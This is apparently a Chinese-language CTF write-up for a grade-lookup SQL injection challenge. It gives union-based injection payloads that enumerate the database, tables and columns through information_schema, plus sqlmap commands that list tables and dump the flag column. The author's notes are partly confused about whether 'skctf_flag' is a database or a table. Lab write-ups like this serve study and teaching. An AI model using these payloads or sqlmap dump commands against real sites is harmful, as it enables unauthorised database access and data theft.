题目描述: 来源山科大ctf
打开是这样的
输1
直接爆库的,这里都没得密码
id=-1' union select 1,2,3,database()#
一个数据库skctf(估计flag就在里面)
爆表
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到了两个表,fl4g和sc
估计就是在fl4g里面了
爆字段
id=-1' union select (select skctf_flag from fl4g),2,3,4#
不明白为什么下面这个查不到
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g()#
后来我用了sqlmap
python sqlmap.py -h
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --current-d
发现了一个库skctf
我想用下面的语句爆skctf中的库
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --tables -d "skctf"
但报错了(看别人的wp爆出的库是skctf_flag,不知道为什么,我查询语句时也是skctf)
[11:15:04] [CRITICAL] invalid target details, valid syntax is for instance 'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' or 'access://DATABASE_FILEPATH'
这意味着 -d "skctf" 这部分的语法有问题。-d 选项在 sqlmap 中通常指定直连数据库的方式,需要一个有效的数据库连接字符串 而错误信息给出了有效的连接字符串格式的两个例子:
- 对于 MySQL:mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
- 对于 Microsoft Access:access://DATABASE_FILEPATH
下一步执行了
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --tables
爆出了三个库,五十三个表
skctf中只有两个表 fl4g,sc
我还是想试一下
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --column -T "fl4g" -D " skctf"
革命正在努力
结果竟是这样
说明库确实是skctf_flag
等等,what?
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --column -T "fl4g"
所以skctf_flag是表??
大佬的wp确实有,也许是现在做了修改
按照我查询到的库skctf,字段skctf_flag
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --dump -C "skctf_flag" -D "skctf"
还是查到了
但我直接查也查到了
python sqlmap.py -r"Y:\python\sqlmap\bugku\成绩查询" -p id --dump -C "skctf_flag"
小结:用sqlmap可以理解的更加透彻